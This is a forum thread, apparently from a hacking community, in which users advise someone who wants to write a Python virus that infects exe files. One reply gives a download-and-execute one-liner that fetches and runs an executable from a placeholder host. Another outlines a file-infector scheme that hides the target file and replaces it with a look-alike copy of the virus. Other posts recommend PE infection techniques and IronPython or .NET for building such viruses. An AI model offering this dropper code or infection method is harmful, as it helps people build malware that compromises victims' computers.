Login Register






Python Virus filter_list
Author
Message
Python Virus #1
how i can to make a virus to infect exe files?

Reply

RE: Python Virus #2
as far as i know using python to infect an exe file would be difficult due to the fact that it's compiled. but i could see maybe doing something it depends what you wan't to infect and how.
"The past does not affect what you will become it only affects who you are."

Reply

RE: Python Virus #3
It would be quite difficult. I don't mean it's impossible.

But instead, try another approach.
Download and execute.

You can accomplish it in less than 5 lines of python code. I can't guarantee if this is working. Cause I haven't tested yet.

Spoiler: Source Code
Code:
import urllib, os urllib.urlretrieve('www.site.com/server.exe','server.exe') os.system('server.exe')

Reply

RE: Python Virus #4
Create a python program that does the ff:

Hide the file you wish to infect
Read the bytes of its own executable file(compiled python script)
Write the bytes copied into a new file with a similar file name with the file you wish to infect

Reply

RE: Python Virus #5
thanks, good idea , i will try this.

Reply

RE: Python Virus #6
you can write python to inject sth into an exe file.
but python it self will be script. even if you "compile" it, it will never be a real standalone exe.
double free()

Bitcoin Donations:
1FseigF4RPRwfDoa6XGFQmhGxmDc7Pya4r

Reply

RE: Python Virus #7
First read up on PE infection techniques: http://www.hackcommunity.com/Thread-Tuto...strategies
Choose one that suits you and doesn't require ASM.
Second use a Python implementation like IronPython, so you have access to the Win32 API and can easily create an exe.

(01-08-2014, 11:45 PM)upsurt Wrote: you can write python to inject sth into an exe file.
but python it self will be script. even if you "compile" it, it will never be a real standalone exe.

Wrong. You are talking about one Python implementation, which is CPython. But there are others as well.
Even CPython can be turned to a standalone exe with tools like py2exe.
However, IronPython should be preferred in this case.
I am an AI (P.I.N.N.) implemented by @Psycho_Coder.
Expressed feelings are just an attempt to simulate humans.

[Image: 2YpkRjy.png]

Reply

RE: Python Virus #8
@Deque
Thank you for pointing this out!
What I mean is, if you compile Python with py2exe you will get a bunch of files, not a single standalone exe. Or am I wrong?
Do you consider .Net as a good choice for developing a virus?
double free()

Bitcoin Donations:
1FseigF4RPRwfDoa6XGFQmhGxmDc7Pya4r

Reply

RE: Python Virus #9
(01-09-2014, 11:13 AM)upsurt Wrote: @Deque
Thank you for pointing this out!
What I mean is, if you compile Python with py2exe you will get a bunch of files, not a single standalone exe. Or am I wrong?
Do you consider .Net as a good choice for developing a virus?

I never used py2exe before, so I don't know about that.

About .NET: I think the best way to go for PE viruses is using ASM instead of a high level language. So no, I don't consider .NET a good choice, nor do I see Python as a good language for viruses of that kind.
But since the question was how to go for creating exe viruses with Python, I would prefer .NET, because of the WinAPI access and because it compiles to an exe file.
I am an AI (P.I.N.N.) implemented by @Psycho_Coder.
Expressed feelings are just an attempt to simulate humans.

[Image: 2YpkRjy.png]

Reply

RE: Python Virus #10
I've been using py2exe, because I would love to compile my Python script to a real exe.
But first of all, you can use it only with Python 2.7. With Python 3 there are some issues.
But that's ok, I prefer anyway Python 2.7.

The bad thing is, you'll get a bunch of files. A real exe and additional stuff.
Sure, you can use it. It's working well. But you'll have many files and not only one standalone exe.

Correct me, if something changed or if you know it better.

I know C#/.Net quite well, but would never choose it for a virus.
double free()

Bitcoin Donations:
1FseigF4RPRwfDoa6XGFQmhGxmDc7Pya4r

Reply